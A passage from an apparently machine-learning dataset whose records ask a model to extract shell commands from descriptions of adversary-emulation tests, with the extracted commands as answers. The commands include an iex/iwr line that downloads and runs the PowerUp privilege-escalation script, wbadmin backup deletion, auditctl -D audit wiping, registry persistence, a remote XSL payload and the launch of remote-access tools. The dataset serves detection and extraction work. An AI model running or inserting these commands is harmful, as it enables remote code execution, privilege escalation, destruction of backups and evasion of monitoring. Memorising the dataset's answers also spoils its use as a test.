https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This method identifies VM guest kernel modules, commonly used by Pupy RAT and similar malware, via the command: sudo lsmod | grep -i \"vboxsf\\|vboxguest\"\nsudo lsmod | grep -i \"vmw_baloon\\|vmxnet\"\nsudo lsmod | grep -i \"xen-vbd\\|xen-vnif\"\nsudo lsmod | grep -i \"virtio_pci\\|virtio_net\"\nsudo lsmod | grep -i \"hv_vmbus\\|hv_blkvsc\\|hv_netvsc\\|hv_utils\\|hv_storvsc\"; To identify virtual machine host kernel modules, run the following command: kldstat | grep -i \"vmm\"\nkldstat | grep -i \"vbox\"",
    "output": "{\"command_list\": [\"sudo lsmod | grep -i \\\"vboxsf\\\\|vboxguest\\\"\\nsudo lsmod | grep -i \\\"vmw_baloon\\\\|vmxnet\\\"\\nsudo lsmod | grep -i \\\"xen-vbd\\\\|xen-vnif\\\"\\nsudo lsmod | grep -i \\\"virtio_pci\\\\|virtio_net\\\"\\nsudo lsmod | grep -i \\\"hv_vmbus\\\\|hv_blkvsc\\\\|hv_netvsc\\\\|hv_utils\\\\|hv_storvsc\\\"\\n\", \"kldstat | grep -i \\\"vmm\\\"\\nkldstat | grep -i \\\"vbox\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The program performs shellcode execution by allocating memory, copying the shellcode, and changing permissions, and you can run it using the following command: $PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThreadNative.exe -debug; The auditd configuration files can be modified by executing this command: sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\nif [ -f \"/etc/#{auditd_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\nfi \nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\n",
    "output": "{\"command_list\": [\"$PathToAtomicsFolder\\\\T1055\\\\bin\\\\x64\\\\CreateThreadNative.exe -debug\\n\", \"sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\\nif [ -f \\\"/etc/#{auditd_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\\nfi \\nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To leverage global flags settings, use the following command: REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v Debugger /d \"#{payload_binary}\"\n; To leverage global flags settings, use the following command sequence: REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{target_binary}\" /v GlobalFlag /t REG_DWORD /d 512\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v ReportingMode /t REG_DWORD /d 1\nREG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{target_binary}\" /v MonitorProcess /d \"#{payload_binary}\"",
    "output": "{\"command_list\": [\"REG ADD \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\#{target_binary}\\\" /v Debugger /d \\\"#{payload_binary}\\\"\\n\", \"REG ADD \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\#{target_binary}\\\" /v GlobalFlag /t REG_DWORD /d 512\\nREG ADD \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SilentProcessExit\\\\#{target_binary}\\\" /v ReportingMode /t REG_DWORD /d 1\\nREG ADD \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SilentProcessExit\\\\#{target_binary}\\\" /v MonitorProcess /d \\\"#{payload_binary}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    RemotePC Software may be exploited as a C2 channel after being downloaded by the user, who is tricked into running it using the following command: Start-Process \"#{RemotePC_Path}\"; Threat actors often maintain persistence by leveraging third-party remote services like NetSupport, which can be launched with the following command: Start-Process \"#{NetSupport_Path}\" -ArgumentList \"/S /v/qn\"",
    "output": "{\"command_list\": [\"Start-Process \\\"#{RemotePC_Path}\\\"\\n\", \"Start-Process \\\"#{NetSupport_Path}\\\" -ArgumentList \\\"/S /v/qn\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a hidden file using PowerShell, run the following command: $file = Get-Item $env:temp\\T1564.001-9.txt -Force\n$file.attributes='Hidden'\n. After execution, verify the hidden attribute in File Explorer by enabling View > Hidden Items and checking the file's Properties > Details.; To create a file and mark it as System in PowerShell, use the following command: $file = Get-Item $env:temp\\T1564.001-10.txt -Force\n$file.attributes='System'\n. After execution, verify in File Explorer by enabling View > Hidden Items and checking the Attributes field in Properties > Details.",
    "output": "{\"command_list\": [\"$file = Get-Item $env:temp\\\\T1564.001-9.txt -Force\\n$file.attributes='Hidden'\\n\", \"$file = Get-Item $env:temp\\\\T1564.001-10.txt -Force\\n$file.attributes='System'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    When AV is turned off, you can run a remote payload via this command, which will launch Calculator.exe if successful: wmic #{wmic_command} /FORMAT:\"#{remote_xsl_file}\"\n; Executing the command 'auditctl -D' will delete all existing audit rules, which removes previously configured monitoring settings and the audit trail, potentially leading to compliance issues and reduced security visibility.",
    "output": "{\"command_list\": [\"wmic #{wmic_command} /FORMAT:\\\"#{remote_xsl_file}\\\"\\n\", \"auditctl -D\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This method, favored by many ransomware families, deletes the Windows systemstatebackup using the following command: wbadmin delete systemstatebackup -keepVersions:0. Be aware that it typically succeeds only on server platforms with Windows Backup enabled.; To disable the System Restore scheduled task, use the following command: schtasks.exe /Change /TN \"\\Microsoft\\Windows\\SystemRestore\\SR\" /disable",
    "output": "{\"command_list\": [\"wbadmin delete systemstatebackup -keepVersions:0\\n\", \"schtasks.exe /Change /TN \\\"\\\\Microsoft\\\\Windows\\\\SystemRestore\\\\SR\\\" /disable\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 